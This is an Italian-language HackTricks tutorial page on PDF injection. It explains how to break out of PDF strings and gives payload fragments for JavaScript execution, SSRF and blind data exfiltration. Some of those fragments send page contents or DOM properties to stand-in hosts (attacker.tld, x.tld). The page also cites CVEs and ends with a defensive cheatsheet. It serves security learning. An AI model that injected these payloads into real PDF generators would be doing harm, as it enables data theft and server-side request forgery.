PDF Injection
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Se il tuo input viene riflesso allâinterno di un file PDF, puoi provare a iniettare dati PDF per eseguire JavaScript, effettuare SSRF o rubare il contenuto del PDF. La sintassi PDF è estremamente permissiva: se riesci a uscire dalla stringa o dal dizionario che sta incorporando il tuo input, puoi aggiungere oggetti completamente nuovi (o nuove chiavi nello stesso oggetto) che Acrobat/Chrome analizzerĂ felicemente. Dal 2024, una serie di report di bug-bounty hanno dimostrato che una parentesi non scappata o una barra rovesciata è sufficiente per lâesecuzione completa dello script.
TL;DR â Flusso di attacco moderno (2024)
- Trova qualsiasi valore controllato dallâutente che finisca allâinterno di una (stringa di parentesi),
/URI ( ⌠)o campo/JS ( ⌠)nel PDF generato. - Inietta
)(chiudendo la stringa) seguito da uno dei primitivi qui sotto e termina con unâaltra parentesi aperta per mantenere la sintassi valida. - Consegna il PDF malevolo a una vittima (o a un servizio backend che rende automaticamente il file â ottimo per bug ciechi).
- Il tuo payload viene eseguito nel visualizzatore PDF:
- Chrome / Edge â PDFium Sandbox
- Firefox â PDF.js (vedi CVE-2024-4367)
- Acrobat â API JavaScript completa (può esfiltrare contenuti di file arbitrari con
this.getPageNthWord)
Esempio (dirottamento del link di annotazione):
(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (
Il primo ) chiude la stringa URI originale, quindi aggiungiamo un nuovo dizionario Action che Acrobat eseguirĂ quando lâutente clicca sul link.
Utili Primitivi di Iniezione
| Obiettivo | Frammento Payload | Note |
|---|---|---|
| JavaScript allâapertura | /OpenAction << /S /JavaScript /JS (app.alert(1)) >> | Esegue istantaneamente quando il documento viene aperto (funziona in Acrobat, non in Chrome). |
| JavaScript sul link | /A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >> | Funziona in PDFium & Acrobat se controlli unâannotazione /Link. |
| Esfiltrazione di dati cieca | << /Type /Action /S /URI /URI (https://attacker.tld/?leak=) | Combina con this.getPageNthWord allâinterno di JS per rubare contenuti. |
| SSRF lato server | Stesso di sopra ma targetizza un URL interno â ottimo quando il PDF è reso da servizi di back-office che rispettano /URI. | |
| Interruzione di linea per nuovi oggetti | \nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj | Se la libreria ti consente di iniettare caratteri di nuova linea, puoi creare oggetti completamente nuovi. |
Trucco di Enumerazione Cieca
Gareth Heyes (PortSwigger) ha rilasciato una riga di codice che enumera ogni oggetto allâinterno di un documento sconosciuto â utile quando non puoi vedere il PDF generato:
) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (
Il codice itera sul DOM di Acrobat e fa richieste outbound per ogni coppia proprietĂ /valore, fornendoti un dump JSON-ish del file. Vedi il white-paper âPortable Data exFiltrationâ per la tecnica completa.
Bug nel Mondo Reale (2023-2025)
- CVE-2024-4367 â Esecuzione arbitraria di JavaScript in PDF.js di Firefox prima della versione 4.2.67 ha bypassato il sandbox con unâazione
/JavaScriptcreata ad hoc. - Bug bounty 2024-05 â Un importante fintech ha consentito note di fattura fornite dai clienti che sono arrivate in
/URI; il report ha pagato $10k dopo aver dimostrato SSRF verso lâhost di metadata interno utilizzandofile:///URI. - CVE-2023-26155 â Iniezione di comando
node-qpdftramite percorso PDF non sanitizzato mostra lâimportanza di eseguire lâescape di backslash e parentesi anche prima del layer PDF.
Cheatsheet Difensivo
- Non concatenare mai input utente raw allâinterno di stringhe o nomi
(âŚ). Esegui lâescape di\,(,)come richiesto dal §7.3 della specifica PDF o utilizza stringhe esadecimali<...>. - Se costruisci link, preferisci
/URI (https://âŚ)che codifichi completamente lâURL; blocca gli schemijavascript:nei visualizzatori client. - Rimuovi o valida i dizionari
/OpenAction,/AA(azioni aggiuntive),/Launch,/SubmitForme/ImportDatadurante il post-processing dei PDF. - Sul lato server, rendi i PDF non fidati con un convertitore headless (es. qpdf âdecrypt âlinearize) che rimuove JavaScript e azioni esterne.
- Tieni aggiornati i visualizzatori PDF; PDF.js < 4.2.67 e Acrobat Reader prima di luglio 2024 consentono lâesecuzione di codice banale.
Riferimenti
- Gareth Heyes, âPortable Data exFiltration â XSS for PDFsâ, PortSwigger Research (aggiornato maggio 2024). https://portswigger.net/research/portable-data-exfiltration
- Dawid RyĹko, âCVE-2024-4367: Esecuzione Arbitraria di JavaScript in PDF.jsâ (apr 2024). https://dawid.dev/sec/cve-2024-4367-arbitrary-javascript-execution-in-pdf-js
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
HackTricks

